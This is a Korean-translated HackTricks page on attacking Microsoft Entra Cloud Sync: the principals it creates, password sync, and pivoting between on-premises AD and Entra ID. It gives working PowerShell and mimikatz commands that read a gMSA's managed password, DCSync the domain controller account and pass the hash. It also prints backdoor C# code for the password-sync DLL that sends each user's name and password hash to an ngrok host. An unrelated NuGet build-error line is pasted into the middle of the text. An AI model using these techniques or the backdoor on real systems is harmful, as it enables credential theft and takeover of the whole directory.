Az - Cloud Sync
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
Cloud Sync는 기본적으로 Azure가 AD에서 Entra ID로 사용자를 동기화하는 새로운 방법입니다.
[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync는 사용자가 Microsoft Entra ID로 동기화되는 하이브리드 ID 목표를 충족하고 달성하기 위해 Microsoft에서 설계한 새로운 서비스입니다. 이는 Microsoft Entra Connect 애플리케이션 대신 Microsoft Entra 클라우드 프로비저닝 에이전트를 사용하여 수행됩니다. 그러나 Microsoft Entra Connect Sync와 함께 사용할 수 있습니다.
Principals Generated
이 기능이 작동하기 위해 Entra ID와 온프레미스 디렉토리 모두에 몇 가지 주체가 생성됩니다:
- Entra ID에서 사용자
On-Premises Directory Synchronization Service Account
(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com
)가Directory Synchronization Accounts
역할 (d29b2b05-8046-44ba-8758-1e26182fcf32
)로 생성됩니다.
warning
이 역할은 많은 특권 권한을 가지고 있었으며 전역 관리자 권한을 상승시킬 수 있었습니다. 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **microsoft.directory/onPremisesSynchronization/standard/read
**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 사용자 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.
-
Entra ID에서도
AAD DC Administrators
그룹이 구성원이나 소유자 없이 생성됩니다. 이 그룹은Microsoft Entra Domain Services
를 사용할 경우 유용합니다. -
AD에서는 서비스 계정 **
provAgentgMSA
**가 **pGMSA_<id>$@domain.com
**과 같은 SamAccountName으로 생성되거나 이 권한이 필요합니다 사용자 정의 계정이 생성됩니다. 일반적으로 기본 계정이 생성됩니다.
warning
다른 권한 중에서 서비스 계정 **provAgentgMSA
**는 DCSync 권한을 가지고 있어 이를 손상시키는 누구나 전체 디렉토리를 손상시킬 수 있습니다. DCSync에 대한 자세한 내용은 여기를 참조하십시오.
note
기본적으로 adminCount
속성이 1인 도메인 관리자와 같은 알려진 특권 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 특권 그룹의 다른 사용자나 직접 높은 권한이 부여된 사용자는 동기화될 수 있습니다.
Password Sychronization
이 섹션은 다음과 매우 유사합니다:
- 비밀번호 해시 동기화를 활성화하면 사용자가 AD의 비밀번호를 사용하여 Entra ID에 로그인할 수 있습니다. 또한 AD에서 비밀번호가 수정될 때마다 Entra ID에서 업데이트됩니다.
- 비밀번호 쓰기 백도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 현재 문서에 따르면, 이를 위해 Connect Agent를 사용해야 하므로 Az Connect Sync 섹션을 참조하십시오.
- 그룹 쓰기 백: 이 기능은 Entra ID의 그룹 구성원이 온프레미스 AD로 다시 동기화될 수 있도록 합니다. 즉, 사용자가 Entra ID의 그룹에 추가되면 AD의 해당 그룹에도 추가됩니다.
Pivoting
AD --> Entra ID
- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. 사용자의 비밀번호를 손상시키거나 사용자의 비밀번호를 변경하거나 새 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요).
예를 들어 다음과 같이 할 수 있습니다.
provAgentgMSA
계정을 손상시키고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 다음 이를 사용하여 Entra ID에 로그인합니다.- AD에서 새 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
- AD에서 일부 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
provAgentgMSA
자격 증명을 손상시키기 위해:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
이제 gMSA의 해시를 사용하여 provAgentgMSA
계정을 통해 Entra ID에 대해 Pass-the-Hash 공격을 수행하고 AD에 대한 DCSync 공격을 수행할 수 있는 지속성을 유지할 수 있습니다.
Active Directory를 손상시키는 방법에 대한 자세한 내용은 다음을 확인하십시오:
Active Directory Methodology - HackTricks
note
Azure 또는 EntraID 역할을 동기화된 사용자에게 속성에 따라 부여하는 방법은 없습니다. 예를 들어 Cloud Sync 구성에서. 그러나 동기화된 사용자에게 자동으로 권한을 부여하기 위해 일부 AD의 Entra ID 그룹에 권한이 부여될 수 있으므로 해당 그룹 내의 동기화된 사용자도 권한을 받거나 동적 그룹이 사용될 수 있습니다. 따라서 항상 동적 규칙과 이를 악용할 수 있는 잠재적인 방법을 확인하십시오:
지속성과 관련하여 이 블로그 게시물은 dnSpy를 사용하여 **C:\Program Files\Microsoft Azure AD Sync\Bin
**에 위치한 dll **Microsoft.Online.Passwordsynchronisation.dll
**에 백도어를 설정하는 것이 가능하다고 제안합니다. 이 dll은 Cloud Sync 에이전트가 비밀번호 동기화를 수행하는 데 사용되며, 이를 통해 동기화되는 사용자의 비밀번호 해시를 원격 서버로 유출할 수 있습니다. 해시는 PasswordHashGenerator
클래스 내에서 생성되며, 블로그 게시물에서는 클래스가 다음과 같이 보이도록 일부 코드를 추가할 것을 제안합니다(비밀번호 해시를 유출하기 위해 use System.Net
및 WebClient
사용에 주의하십시오):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.
Entra ID --> AD
-
Password Writeback가 활성화된 경우, Entra ID의 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 백에 대한 구성은 해당 에이전트를 사용하여 설정되므로 더 많은 정보는 Az Connect Sync section 섹션을 확인하세요.
-
현재 Cloud Sync는 **"Microsoft Entra ID to AD"**를 허용하지만, 시간이 지나면서 EntraID 사용자를 AD로 동기화할 수 없다는 것을 발견했습니다. 이는 비밀번호 해시로 동기화된 EntraID 사용자만 동기화할 수 있으며, 동기화하려는 도메인과 동일한 도메인 포리스트에 속하는 도메인에서 온 사용자만 동기화할 수 있습니다. 자세한 내용은 https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits에서 확인할 수 있습니다:
- 이러한 그룹은 온프레미스에서 동기화된 사용자 및/또는 추가로 클라우드에서 생성된 보안 그룹만 포함할 수 있습니다.
- 동기화된 온프레미스 사용자 계정은 이 클라우드에서 생성된 보안 그룹의 구성원이 될 수 있으며, 동일한 도메인 또는 교차 도메인에서 올 수 있지만, 모두 동일한 포리스트에서 와야 합니다.
따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 타격하기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).
Enumeration
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.